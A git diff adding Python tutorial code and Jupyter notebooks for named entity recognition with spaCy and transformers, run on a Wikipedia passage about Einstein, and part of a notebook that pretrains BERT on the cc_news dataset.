+ ", he enrolled in the mathematics and physics teaching diploma program at the \n",
+ "\n",
+ " Swiss\n",
+ " NORP \n",
+ " \n",
+ " Federal polytechnic school in \n",
+ "\n",
+ " Zürich\n",
+ " GPE \n",
+ " \n",
+ ", graduating in \n",
+ "\n",
+ " 1900\n",
+ " DATE \n",
+ " \n",
+ "
"
+ ]
+ },
+ "metadata": {}
+ }
+ ]
+ },
+ {
+ "cell_type": "code",
+ "source": [
+ "# load the English transformer pipeline (roberta-base) using spaCy\n",
+ "nlp_trf = spacy.load('en_core_web_trf')"
+ ],
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "ISyXFbhSuBHK",
+ "outputId": "c19d3750-2cc6-4b57-f4f9-8d881e12cf5d"
+ },
+ "execution_count": 19,
+ "outputs": [
+ {
+ "output_type": "stream",
+ "name": "stderr",
+ "text": [
+ "loading configuration file /tmp/tmpsi87034g/config.json\n",
+ "Model config RobertaConfig {\n",
+ " \"_name_or_path\": \"/tmp/tmpsi87034g/config.json\",\n",
+ " \"architectures\": [\n",
+ " \"RobertaForMaskedLM\"\n",
+ " ],\n",
+ " \"attention_probs_dropout_prob\": 0.1,\n",
+ " \"bos_token_id\": 0,\n",
+ " \"classifier_dropout\": null,\n",
+ " \"eos_token_id\": 2,\n",
+ " \"hidden_act\": \"gelu\",\n",
+ " \"hidden_dropout_prob\": 0.1,\n",
+ " \"hidden_size\": 768,\n",
+ " \"initializer_range\": 0.02,\n",
+ " \"intermediate_size\": 3072,\n",
+ " \"layer_norm_eps\": 1e-05,\n",
+ " \"max_position_embeddings\": 514,\n",
+ " \"model_type\": \"roberta\",\n",
+ " \"num_attention_heads\": 12,\n",
+ " \"num_hidden_layers\": 12,\n",
+ " \"pad_token_id\": 1,\n",
+ " \"position_embedding_type\": \"absolute\",\n",
+ " \"transformers_version\": \"4.17.0\",\n",
+ " \"type_vocab_size\": 1,\n",
+ " \"use_cache\": true,\n",
+ " \"vocab_size\": 50265\n",
+ "}\n",
+ "\n",
+ "Didn't find file /tmp/tmpsi87034g/added_tokens.json. We won't load it.\n",
+ "loading file /tmp/tmpsi87034g/vocab.json\n",
+ "loading file /tmp/tmpsi87034g/merges.txt\n",
+ "loading file /tmp/tmpsi87034g/tokenizer.json\n",
+ "loading file None\n",
+ "loading file /tmp/tmpsi87034g/special_tokens_map.json\n",
+ "loading file /tmp/tmpsi87034g/tokenizer_config.json\n"
+ ]
+ }
+ ]
+ },
+ {
+ "cell_type": "code",
+ "source": [
+ "# perform inference on the model\n",
+ "doc_trf = nlp_trf(text)\n",
+ "# display the doc with jupyter mode\n",
+ "spacy.displacy.render(doc_trf, style=\"ent\", jupyter=True)"
+ ],
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 228
+ },
+ "id": "nKnLbTK0Aakz",
+ "outputId": "c55ddd55-07c9-4717-fdbd-cd4b2b4a7d79"
+ },
+ "execution_count": 20,
+ "outputs": [
+ {
+ "output_type": "stream",
+ "name": "stderr",
+ "text": [
+ "/usr/local/lib/python3.7/dist-packages/torch/autocast_mode.py:141: UserWarning: User provided device_type of 'cuda', but CUDA is not available. Disabling\n",
+ " warnings.warn('User provided device_type of \\'cuda\\', but CUDA is not available. Disabling')\n"
+ ]
+ },
+ {
+ "output_type": "display_data",
+ "data": {
+ "text/plain": [
+ ""
+ ],
+ "text/html": [
+ "\n",
+ "\n",
+ " Albert Einstein\n",
+ " PERSON \n",
+ " \n",
+ " was a \n",
+ "\n",
+ " German\n",
+ " NORP \n",
+ " \n",
+ "-born theoretical physicist, widely acknowledged to be one of the greatest and most influential physicists of all time. \n",
+ "\n",
+ " Einstein\n",
+ " PERSON \n",
+ " \n",
+ " is best known for developing the theory of relativity, but he also made important contributions to the development of the theory of quantum mechanics.\n",
+ "\n",
+ " Einstein\n",
+ " PERSON \n",
+ " \n",
+ " was born in \n",
+ "\n",
+ " the German Empire\n",
+ " GPE \n",
+ " \n",
+ ", but moved to \n",
+ "\n",
+ " Switzerland\n",
+ " GPE \n",
+ " \n",
+ " in \n",
+ "\n",
+ " 1895\n",
+ " DATE \n",
+ " \n",
+ ", forsaking his \n",
+ "\n",
+ " German\n",
+ " NORP \n",
+ " \n",
+ " citizenship (as a subject of \n",
+ "\n",
+ " the Kingdom of Württemberg\n",
+ " GPE \n",
+ " \n",
+ ") \n",
+ "\n",
+ " the following year\n",
+ " DATE \n",
+ " \n",
+ ". In \n",
+ "\n",
+ " 1897\n",
+ " DATE \n",
+ " \n",
+ ", at \n",
+ "\n",
+ " the age of 17\n",
+ " DATE \n",
+ " \n",
+ ", he enrolled in the mathematics and physics teaching diploma program at the \n",
+ "\n",
+ " Swiss Federal\n",
+ " ORG \n",
+ " \n",
+ " polytechnic school in \n",
+ "\n",
+ " Zürich\n",
+ " GPE \n",
+ " \n",
+ ", graduating in \n",
+ "\n",
+ " 1900\n",
+ " DATE \n",
+ " \n",
+ "
"
+ ]
+ },
+ "metadata": {}
+ }
+ ]
+ }
+ ]
+}
\ No newline at end of file
diff --git a/machine-learning/nlp/named-entity-recognition/README.md b/machine-learning/nlp/named-entity-recognition/README.md
new file mode 100644
index 00000000..7386cbd4
--- /dev/null
+++ b/machine-learning/nlp/named-entity-recognition/README.md
@@ -0,0 +1 @@
+# [Named Entity Recognition using Transformers and Spacy in Python](https://www.thepythoncode.com/article/named-entity-recognition-using-transformers-and-spacy)
\ No newline at end of file
diff --git a/machine-learning/nlp/named-entity-recognition/ner.py b/machine-learning/nlp/named-entity-recognition/ner.py
new file mode 100644
index 00000000..67d51370
--- /dev/null
+++ b/machine-learning/nlp/named-entity-recognition/ner.py
@@ -0,0 +1,111 @@
+# %%
+# !pip install --upgrade transformers sentencepiece
+
+# %%
+# !pip install https://github.com/explosion/spacy-models/releases/download/en_core_web_trf-3.2.0/en_core_web_trf-3.2.0-py3-none-any.whl
+
+# %%
+# !python -m spacy download en_core_web_sm
+
+# %%
+import spacy
+from transformers import *
+
+# %%
+# sample text from Wikipedia
+text = """
+Albert Einstein was a German-born theoretical physicist, widely acknowledged to be one of the greatest and most influential physicists of all time.
+Einstein is best known for developing the theory of relativity, but he also made important contributions to the development of the theory of quantum mechanics.
+Einstein was born in the German Empire, but moved to Switzerland in 1895, forsaking his German citizenship (as a subject of the Kingdom of Württemberg) the following year.
+In 1897, at the age of 17, he enrolled in the mathematics and physics teaching diploma program at the Swiss Federal polytechnic school in Zürich, graduating in 1900
+"""
+
+# %%
+# load BERT model fine-tuned for Named Entity Recognition (NER)
+ner = pipeline("ner", model="dslim/bert-base-NER")
+
+# %%
+# perform inference on the transformer model
+doc_ner = ner(text)
+# print the output
+doc_ner
+
+# %%
+def get_entities_html(text, ner_result, title=None):
+ """Returns a visual version of NER with the help of SpaCy"""
+ ents = []
+ for ent in ner_result:
+ e = {}
+ # add the start and end positions of the entity
+ e["start"] = ent["start"]
+ e["end"] = ent["end"]
+ # add the score if you want in the label
+ # e["label"] = f"{ent["entity"]}-{ent['score']:.2f}"
+ e["label"] = ent["entity"]
+ if ents and -1 <= ent["start"] - ents[-1]["end"] <= 1 and ents[-1]["label"] == e["label"]:
+ # if the current entity is shared with previous entity
+ # simply extend the entity end position instead of adding a new one
+ ents[-1]["end"] = e["end"]
+ continue
+ ents.append(e)
+ # construct data required for displacy.render() method
+ render_data = [
+ {
+ "text": text,
+ "ents": ents,
+ "title": title,
+ }
+ ]
+ return spacy.displacy.render(render_data, style="ent", manual=True, jupyter=True)
+
+# %%
+# get HTML representation of NER of our text
+get_entities_html(text, doc_ner)
+
+# %%
+# load roberta-large model
+ner2 = pipeline("ner", model="xlm-roberta-large-finetuned-conll03-english")
+
+# %%
+# perform inference on this model
+doc_ner2 = ner2(text)
+
+# %%
+# get HTML representation of NER of our text
+get_entities_html(text, doc_ner2)
+
+# %%
+# load yet another roberta-large model
+ner3 = pipeline("ner", model="Jean-Baptiste/roberta-large-ner-english")
+
+# %%
+# perform inference on this model
+doc_ner3 = ner3(text)
+
+# %%
+# get HTML representation of NER of our text
+get_entities_html(text, doc_ner3)
+
+# %%
+# load the English CPU-optimized pipeline
+nlp = spacy.load("en_core_web_sm")
+
+# %%
+# predict the entities
+doc = nlp(text)
+
+# %%
+# display the doc with jupyter mode
+spacy.displacy.render(doc, style="ent", jupyter=True)
+
+# %%
+# load the English transformer pipeline (roberta-base) using spaCy
+nlp_trf = spacy.load('en_core_web_trf')
+
+# %%
+# perform inference on the model
+doc_trf = nlp_trf(text)
+# display the doc with jupyter mode
+spacy.displacy.render(doc_trf, style="ent", jupyter=True)
+
+
diff --git a/machine-learning/nlp/named-entity-recognition/requirements.txt b/machine-learning/nlp/named-entity-recognition/requirements.txt
new file mode 100644
index 00000000..b9b86bea
--- /dev/null
+++ b/machine-learning/nlp/named-entity-recognition/requirements.txt
@@ -0,0 +1,3 @@
+transformers
+sentencepiece
+https://github.com/explosion/spacy-models/releases/download/en_core_web_trf-3.2.0/en_core_web_trf-3.2.0-py3-none-any.whl
\ No newline at end of file
diff --git a/machine-learning/nlp/pretraining-bert/PretrainingBERT.ipynb b/machine-learning/nlp/pretraining-bert/PretrainingBERT.ipynb
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index 00000000..101cd312
--- /dev/null
+++ b/machine-learning/nlp/pretraining-bert/PretrainingBERT.ipynb
@@ -0,0 +1,3129 @@
+{
+ "cells": [
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "o4-qIq-Rt179",
+ "outputId": "b18fc480-eb9f-46d3-98a6-552fddb666aa"
+ },
+ "outputs": [
+ {
+ "name": "stdout",
+ "output_type": "stream",
+ "text": [
+ "Looking in indexes: https://pypi.org/simple, https://us-python.pkg.dev/colab-wheels/public/simple/\n",
+ "Collecting datasets\n",
+ " Downloading datasets-2.2.2-py3-none-any.whl (346 kB)\n",
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+ "Building wheels for collected packages: sacremoses\n",
+ " Building wheel for sacremoses (setup.py) ... \u001b[?25l\u001b[?25hdone\n",
+ " Created wheel for sacremoses: filename=sacremoses-0.0.53-py3-none-any.whl size=895260 sha256=cca626dcce098f80c7609e89b9d7ae0782c9bc69e80da67f7a8ca172615ec417\n",
+ " Stored in directory: /root/.cache/pip/wheels/87/39/dd/a83eeef36d0bf98e7a4d1933a4ad2d660295a40613079bafc9\n",
+ "Successfully built sacremoses\n",
+ "Installing collected packages: multidict, frozenlist, yarl, urllib3, asynctest, async-timeout, aiosignal, pyyaml, fsspec, dill, aiohttp, xxhash, tokenizers, sacremoses, responses, multiprocess, huggingface-hub, transformers, sentencepiece, datasets\n",
+ " Attempting uninstall: urllib3\n",
+ " Found existing installation: urllib3 1.24.3\n",
+ " Uninstalling urllib3-1.24.3:\n",
+ " Successfully uninstalled urllib3-1.24.3\n",
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+ " Found existing installation: PyYAML 3.13\n",
+ " Uninstalling PyYAML-3.13:\n",
+ " Successfully uninstalled PyYAML-3.13\n",
+ " Attempting uninstall: dill\n",
+ " Found existing installation: dill 0.3.5.1\n",
+ " Uninstalling dill-0.3.5.1:\n",
+ " Successfully uninstalled dill-0.3.5.1\n",
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+ " Found existing installation: multiprocess 0.70.13\n",
+ " Uninstalling multiprocess-0.70.13:\n",
+ " Successfully uninstalled multiprocess-0.70.13\n",
+ "\u001b[31mERROR: pip's dependency resolver does not currently take into account all the packages that are installed. This behaviour is the source of the following dependency conflicts.\n",
+ "datascience 0.10.6 requires folium==0.2.1, but you have folium 0.8.3 which is incompatible.\u001b[0m\n",
+ "Successfully installed aiohttp-3.8.1 aiosignal-1.2.0 async-timeout-4.0.2 asynctest-0.13.0 datasets-2.2.2 dill-0.3.4 frozenlist-1.3.0 fsspec-2022.5.0 huggingface-hub-0.7.0 multidict-6.0.2 multiprocess-0.70.12.2 pyyaml-6.0 responses-0.18.0 sacremoses-0.0.53 sentencepiece-0.1.96 tokenizers-0.12.1 transformers-4.18.0 urllib3-1.25.11 xxhash-3.0.0 yarl-1.7.2\n"
+ ]
+ }
+ ],
+ "source": [
+ "!pip install datasets transformers==4.18.0 sentencepiece"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "cJ5SzANft-Lx"
+ },
+ "outputs": [],
+ "source": [
+ "from datasets import *\n",
+ "from transformers import *\n",
+ "from tokenizers import *\n",
+ "import os\n",
+ "import json"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 166,
+ "referenced_widgets": [
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+ ]
+ },
+ "id": "QEvDxUpYuARd",
+ "outputId": "c0615e23-7592-4fb4-da1e-f33941fbb02b"
+ },
+ "outputs": [
+ {
+ "data": {
+ "application/vnd.jupyter.widget-view+json": {
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+ "version_major": 2,
+ "version_minor": 0
+ },
+ "text/plain": [
+ "Downloading builder script: 0%| | 0.00/1.75k [00:00, ?B/s]"
+ ]
+ },
+ "metadata": {},
+ "output_type": "display_data"
+ },
+ {
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+ ]
+ },
+ "metadata": {},
+ "output_type": "display_data"
+ },
+ {
+ "name": "stdout",
+ "output_type": "stream",
+ "text": [
+ "Downloading and preparing dataset cc_news/plain_text (download: 805.98 MiB, generated: 1.88 GiB, post-processed: Unknown size, total: 2.67 GiB) to /root/.cache/huggingface/datasets/cc_news/plain_text/1.0.0/ae469e556251e6e7e20a789f93803c7de19d0c4311b6854ab072fecb4e401bd6...\n"
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+ "application/vnd.jupyter.widget-view+json": {
+ "model_id": "450625b8b8cb4ea18bd6e8d0807c0830",
+ "version_major": 2,
+ "version_minor": 0
+ },
+ "text/plain": [
+ "Generating train split: 0%| | 0/708241 [00:00, ? examples/s]"
+ ]
+ },
+ "metadata": {},
+ "output_type": "display_data"
+ },
+ {
+ "name": "stdout",
+ "output_type": "stream",
+ "text": [
+ "Dataset cc_news downloaded and prepared to /root/.cache/huggingface/datasets/cc_news/plain_text/1.0.0/ae469e556251e6e7e20a789f93803c7de19d0c4311b6854ab072fecb4e401bd6. Subsequent calls will reuse this data.\n"
+ ]
+ }
+ ],
+ "source": [
+ "# download and prepare cc_news dataset\n",
+ "dataset = load_dataset(\"cc_news\", split=\"train\")"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "yPFy5_zzuBra",
+ "outputId": "ccb8bbfb-c59a-4eab-da5c-7a2f28873184"
+ },
+ "outputs": [
+ {
+ "data": {
+ "text/plain": [
+ "(Dataset({\n",
+ " features: ['title', 'text', 'domain', 'date', 'description', 'url', 'image_url'],\n",
+ " num_rows: 637416\n",
+ " }), Dataset({\n",
+ " features: ['title', 'text', 'domain', 'date', 'description', 'url', 'image_url'],\n",
+ " num_rows: 70825\n",
+ " }))"
+ ]
+ },
+ "execution_count": 5,
+ "metadata": {},
+ "output_type": "execute_result"
+ }
+ ],
+ "source": [
+ "# split the dataset into training (90%) and testing (10%)\n",
+ "d = dataset.train_test_split(test_size=0.1)\n",
+ "d[\"train\"], d[\"test\"]"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/"
+ },
+ "id": "i8soLvAgXprN",
+ "outputId": "04015e82-5559-4081-a196-ba4abbb769ff"
+ },
+ "outputs": [
+ {
+ "name": "stdout",
+ "output_type": "stream",
+ "text": [
+ "Cookies at Which? We use cookies to help improve our sites. If you continue, we'll assume that you're happy to accept our cookies. Find out more about cookies\n",
+ "OK\n",
+ "==================================================\n",
+ "PHILADELPHIA (AP) — Investigators say a Philadelphia firefighter died because a hose supplying her with oxygen had burned through and they found problems with how her colleagues responded to her seven emergency distress signals.\n",
+ "The fire department and the National Institute for Occupational Safety and Health released reports Monday about the December 2014 death of Lt. Joyce Craig.\n",
+ "Craig was killed while battling a wind-whipped house fire.\n",
+ "The city’s report says indirect causes of her death include lack of situational awareness, inadequate communications, poor strategy and tactics and an uncoordinated rescue effort.\n",
+ "The federal study says a failure to quickly deploy an intervention team contributed to her death.\n",
+ "The fire department says it has made changes as a result. The fire commissioner plans to speak about the death on Tuesday.\n",
+ "==================================================\n",
+ "Drake White is back to pick up the Pieces with the release of a brand new EP. The singer-songwriter will deliver the project on May 4 which features five tracks.\n",
+ "“I love writing that’s very simple, but it’s like, ‘Oh, I know exactly what you’re talking about,’ explained White. “I’m infatuated with words and trying to arrange them in a way that would make my heroes proud.”\n",
+ "White's Pieces follows his 2016 debut studio album, Spark. The country star co-penned two of his new tracks which will showcase his story through his soulful voice.\n",
+ "Drake White is currently out on the road as a supporting act on Kip Moore's Plead The Fifth Tour.\n",
+ "Pieces Track List:\n",
+ "1. \"Girl in Pieces\"\n",
+ "2. \"Grandpa's Farm\"\n",
+ "3. \"Happy Place\"\n",
+ "4. \"Nothing Good Happens After Midnight\"\n",
+ "5. \"The Best is Yet to Come\"\n",
+ "==================================================\n"
+ ]
+ }
+ ],
+ "source": [
+ "for t in d[\"train\"][\"text\"][:3]:\n",
+ " print(t)\n",
+ " print(\"=\"*50)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "juzb37W-86iq"
+ },
+ "outputs": [],
+ "source": [
+ "# if you have your custom dataset \n",
+ "# dataset = LineByLineTextDataset(\n",
+ "# tokenizer=tokenizer,\n",
+ "# file_path=\"path/to/data.txt\",\n",
+ "# block_size=64,\n",
+ "# )"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "5d4HxoYNqfdU"
+ },
+ "outputs": [],
+ "source": [
+ "# or if you have huge custom dataset separated into files\n",
+ "# load the splitted files\n",
+ "# files = [\"train1.txt\", \"train2.txt\"] # train3.txt, etc.\n",
+ "# dataset = load_dataset(\"text\", data_files=files, split=\"train\")"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "fOA9GizPuFlB"
+ },
+ "outputs": [],
+ "source": [
+ "# if you want to train the tokenizer from scratch (especially if you have custom\n",
+ "# dataset loaded as datasets object), then run this cell to save it as files\n",
+ "# but if you already have your custom data as text files, there is no point using this\n",
+ "def dataset_to_text(dataset, output_filename=\"data.txt\"):\n",
+ " \"\"\"Utility function to save dataset text to disk,\n",
+ " useful for using the texts to train the tokenizer \n",
+ " (as the tokenizer accepts files)\"\"\"\n",
+ " with open(output_filename, \"w\") as f:\n",
+ " for t in dataset[\"text\"]:\n",
+ " print(t, file=f)\n",
+ "\n",
+ "# save the training set to train.txt\n",
+ "dataset_to_text(d[\"train\"], \"train.txt\")\n",
+ "# save the testing set to test.txt\n",
+ "dataset_to_text(d[\"test\"], \"test.txt\")"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "id": "bOBSHkbFuu5H"
+ },
+ "outputs": [],
+ "source": [
+ "special_tokens = [\n",
+ " \"[PAD]\", \"[UNK]\", \"[CLS]\", \"[SEP]\", \"[MASK]\", \"\", \"\"\n",
+ "]\n",
+ "# if you want to train the tokenizer on both sets\n",
+ "# files = [\"train.txt\", \"test.txt\"]\n",
+ "# training the tokenizer on the training set\n",
+ "files = [\"train.txt\"]\n",
+ "# 30,522 vocab is BERT's default vocab size, feel free to tweak\n",
+ "vocab_size = 30_522\n",
+ "# maximum sequence length, lowering will result to faster training (when increasing batch size)\n",
+ "max_length = 512\n",
+ "# whether to truncate\n",
+ "truncate_longer_samples = False"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "background_save": true
+ },
+ "id": "-CVoZ3bC_j6K"
+ },
+ "outputs": [],
+ "source": [
+ "# initialize the WordPiece tokenizer\n",
+ "tokenizer = BertWordPieceTokenizer()\n",
+ "# train the tokenizer\n",
+ "tokenizer.train(files=files, vocab_size=vocab_size, special_tokens=special_tokens)\n",
+ "# enable truncation up to the maximum 512 tokens\n",
+ "tokenizer.enable_truncation(max_length=max_length)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "background_save": true
+ },
+ "id": "vix0oz7XzI_w"
+ },
+ "outputs": [],
+ "source": [
+ "model_path = \"pretrained-bert\"\n",
+ "# make the directory if not already there\n",
+ "if not os.path.isdir(model_path):\n",
+ " os.mkdir(model_path)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "background_save": true
+ },
+ "id": "vmeI9Vgx06VB",
+ "outputId": "5ce209ce-dd99-45a0-ed54-f42124be7305"
+ },
+ "outputs": [
+ {
+ "data": {
+ "text/plain": [
+ "['pretrained-bert/vocab.txt']"
+ ]
+ },
+ "execution_count": null,
+ "metadata": {},
+ "output_type": "execute_result"
+ }
+ ],
+ "source": [
+ "# save the tokenizer \n",
+ "tokenizer.save_model(model_path)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "background_save": true
+ },
+ "id": "d-HZAthp0SNk"
+ },
+ "outputs": [],
+ "source": [
+ "# dumping some of the tokenizer config to config file, \n",
+ "# including special tokens, whether to lower case and the maximum sequence length\n",
+ "with open(os.path.join(model_path, \"config.json\"), \"w\") as f:\n",
+ " tokenizer_cfg = {\n",
+ " \"do_lower_case\": True,\n",
+ " \"unk_token\": \"[UNK]\",\n",
+ " \"sep_token\": \"[SEP]\",\n",
+ " \"pad_token\": \"[PAD]\",\n",
+ " \"cls_token\": \"[CLS]\",\n",
+ " \"mask_token\": \"[MASK]\",\n",
+ " \"model_max_length\": max_length,\n",
+ " \"max_len\": max_length,\n",
+ " }\n",
+ " json.dump(tokenizer_cfg, f)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "background_save": true
+ },
+ "id": "OkJ_tU4B0jNf",
+ "outputId": "a632ee1e-b82d-4967-a83b-7ed4a70333c3"
+ },
+ "outputs": [
+ {
+ "name": "stderr",
+ "output_type": "stream",
+ "text": [
+ "Didn't find file pretrained-bert/tokenizer.json. We won't load it.\n",
+ "Didn't find file pretrained-bert/added_tokens.json. We won't load it.\n",
+ "Didn't find file pretrained-bert/special_tokens_map.json. We won't load it.\n",
+ "Didn't find file pretrained-bert/tokenizer_config.json. We won't load it.\n",
+ "loading file pretrained-bert/vocab.txt\n",
+ "loading file None\n",
+ "loading file None\n",
+ "loading file None\n",
+ "loading file None\n",
+ "loading configuration file pretrained-bert/config.json\n",
+ "Model config BertConfig {\n",
+ " \"_name_or_path\": \"pretrained-bert\",\n",
+ " \"attention_probs_dropout_prob\": 0.1,\n",
+ " \"classifier_dropout\": null,\n",
+ " \"cls_token\": \"[CLS]\",\n",
+ " \"do_lower_case\": true,\n",
+ " \"hidden_act\": \"gelu\",\n",
+ " \"hidden_dropout_prob\": 0.1,\n",
+ " \"hidden_size\": 768,\n",
+ " \"initializer_range\": 0.02,\n",
+ " \"intermediate_size\": 3072,\n",
+ " \"layer_norm_eps\": 1e-12,\n",
+ " \"mask_token\": \"[MASK]\",\n",
+ " \"max_len\": 512,\n",
+ " \"max_position_embeddings\": 512,\n",
+ " \"model_max_length\": 512,\n",
+ " \"model_type\": \"bert\",\n",
+ " \"num_attention_heads\": 12,\n",
+ " \"num_hidden_layers\": 12,\n",
+ " \"pad_token\": \"[PAD]\",\n",
+ " \"pad_token_id\": 0,\n",
+ " \"position_embedding_type\": \"absolute\",\n",
+ " \"sep_token\": \"[SEP]\",\n",
+ " \"transformers_version\": \"4.18.0\",\n",
+ " \"type_vocab_size\": 2,\n",
+ " \"unk_token\": \"[UNK]\",\n",
+ " \"use_cache\": true,\n",
+ " \"vocab_size\": 30522\n",
+ "}\n",
+ "\n",
+ "loading configuration file pretrained-bert/config.json\n",
+ "Model config BertConfig {\n",
+ " \"_name_or_path\": \"pretrained-bert\",\n",
+ " \"attention_probs_dropout_prob\": 0.1,\n",
+ " \"classifier_dropout\": null,\n",
+ " \"cls_token\": \"[CLS]\",\n",
+ " \"do_lower_case\": true,\n",
+ " \"hidden_act\": \"gelu\",\n",
+ " \"hidden_dropout_prob\": 0.1,\n",
+ " \"hidden_size\": 768,\n",
+ " \"initializer_range\": 0.02,\n",
+ " \"intermediate_size\": 3072,\n",
+ " \"layer_norm_eps\": 1e-12,\n",
+ " \"mask_token\": \"[MASK]\",\n",
+ " \"max_len\": 512,\n",
+ " \"max_position_embeddings\": 512,\n",
+ " \"model_max_length\": 512,\n",
+ " \"model_type\": \"bert\",\n",
+ " \"num_attention_heads\": 12,\n",
+ " \"num_hidden_layers\": 12,\n",
+ " \"pad_token\": \"[PAD]\",\n",
+ " \"pad_token_id\": 0,\n",
+ " \"position_embedding_type\": \"absolute\",\n",
+ " \"sep_token\": \"[SEP]\",\n",
+ " \"transformers_version\": \"4.18.0\",\n",
+ " \"type_vocab_size\": 2,\n",
+ " \"unk_token\": \"[UNK]\",\n",
+ " \"use_cache\": true,\n",
+ " \"vocab_size\": 30522\n",
+ "}\n",
+ "\n"
+ ]
+ }
+ ],
+ "source": [
+ "# when the tokenizer is trained and configured, load it as BertTokenizerFast\n",
+ "tokenizer = BertTokenizerFast.from_pretrained(model_path)"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "background_save": true,
+ "base_uri": "https://localhost:8080/",
+ "height": 66,
+ "referenced_widgets": [
+ "c3a30fb959aa47f889692b518b2c1664",
+ "bed4e885cf5d4b82a38833820b8e118f",
+ "4589cb842c7842ddb0e9bca6db71d590",
+ "3748fb75842f4392b40fbfab0b7c9caa",
+ "938c3b47fef24ad48b0ace7e7dcfcd80",
+ "f10afe04e61d4edeb33d8907a1192891",
+ "d84d85ce2d3f4dd491a44b97e653e175",
+ "54b4cf2d58ba4f87aec5070dbd1ff801",
+ "bc97183430e34db4b073305ce07d6f41",
+ "c082e56c91ce4bb4a4bb1e0b0001eaa2",
+ "6c082c2cd59f483981b4839dff47e071",
+ "62fe563ea6a74aa59833ce78423213da"
+ ]
+ },
+ "id": "sYw3cjdQ0pHT",
+ "outputId": "277e31b9-2391-4538-d02d-4458e23f3100"
+ },
+ "outputs": [
+ {
+ "data": {
+ "application/vnd.jupyter.widget-view+json": {
+ "model_id": "c3a30fb959aa47f889692b518b2c1664",
+ "version_major": 2,
+ "version_minor": 0
+ },
+ "text/plain": [
+ " 0%| | 0/638 [00:00, ?ba/s]"
+ ]
+ },
+ "metadata": {},
+ "output_type": "display_data"
+ },
+ {
+ "data": {
+ "application/vnd.jupyter.widget-view+json": {
+ "model_id": "bed4e885cf5d4b82a38833820b8e118f",
+ "version_major": 2,
+ "version_minor": 0
+ },
+ "text/plain": [
+ " 0%| | 0/71 [00:00, ?ba/s]"
+ ]
+ },
+ "metadata": {},
+ "output_type": "display_data"
+ }
+ ],
+ "source": [
+ "def encode_with_truncation(examples):\n",
+ " \"\"\"Mapping function to tokenize the sentences passed with truncation\"\"\"\n",
+ " return tokenizer(examples[\"text\"], truncation=True, padding=\"max_length\",\n",
+ " max_length=max_length, return_special_tokens_mask=True)\n",
+ "\n",
+ "def encode_without_truncation(examples):\n",
+ " \"\"\"Mapping function to tokenize the sentences passed without truncation\"\"\"\n",
+ " return tokenizer(examples[\"text\"], return_special_tokens_mask=True)\n",
+ "\n",
+ "# the encode function will depend on the truncate_longer_samples variable\n",
+ "encode = encode_with_truncation if truncate_longer_samples else encode_without_truncation\n",
+ "\n",
+ "# tokenizing the train dataset\n",
+ "train_dataset = d[\"train\"].map(encode, batched=True)\n",
+ "# tokenizing the testing dataset\n",
+ "test_dataset = d[\"test\"].map(encode, batched=True)\n",
+ "\n",
+ "if truncate_longer_samples:\n",
+ " # remove other columns and set input_ids and attention_mask as PyTorch tensors\n",
+ " train_dataset.set_format(type=\"torch\", columns=[\"input_ids\", \"attention_mask\"])\n",
+ " test_dataset.set_format(type=\"torch\", columns=[\"input_ids\", \"attention_mask\"])\n",
+ "else:\n",
+ " # remove other columns, and remain them as Python lists\n",
+ " test_dataset.set_format(columns=[\"input_ids\", \"attention_mask\", \"special_tokens_mask\"])\n",
+ " train_dataset.set_format(columns=[\"input_ids\", \"attention_mask\", \"special_tokens_mask\"])"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {
+ "colab": {
+ "background_save": true,
+ "base_uri": "https://localhost:8080/",
+ "referenced_widgets": [
+ "50163d0ddc164a139121adf8f9310e36",
+ "40d2d394b8c24beaaa485d7c30dac2ac",
+ "6a02439ddba246679fb53b91ccca4d2c",
+ "1b57fe0adf5641ddb23713fa97cf28b6",
+ "f36b2a7aa3944a5e856e5b17d286a488",
+ "362fe85f7741438995a52ea0c85e6474"
+ ]
+ },
+ "id": "5Pe5ZkpvVBl1",
+ "outputId": "66a22a43-cc27-48e8-aa92-0f08a76cb48f"
+ },
+ "outputs": [
+ {
+ "data": {
+ "application/vnd.jupyter.widget-view+json": {
+ "model_id": "50163d0ddc164a139121adf8f9310e36",
+ "version_major": 2,
+ "version_minor": 0
+ },
+ "text/plain": [
+ "Grouping texts in chunks of 512: 0%| | 0/638 [00:00, ?ba/s]"
+ ]
+ },
+ "metadata": {},
+ "output_type": "display_data"
+ },
+ {
+ "data": {
+ "application/vnd.jupyter.widget-view+json": {
+ "model_id": "362fe85f7741438995a52ea0c85e6474",
+ "version_major": 2,
+ "version_minor": 0
+ },
+ "text/plain": [
+ "Grouping texts in chunks of 512: 0%| | 0/71 [00:00, ?ba/s]"
+ ]
+ },
+ "metadata": {},
+ "output_type": "display_data"
+ }
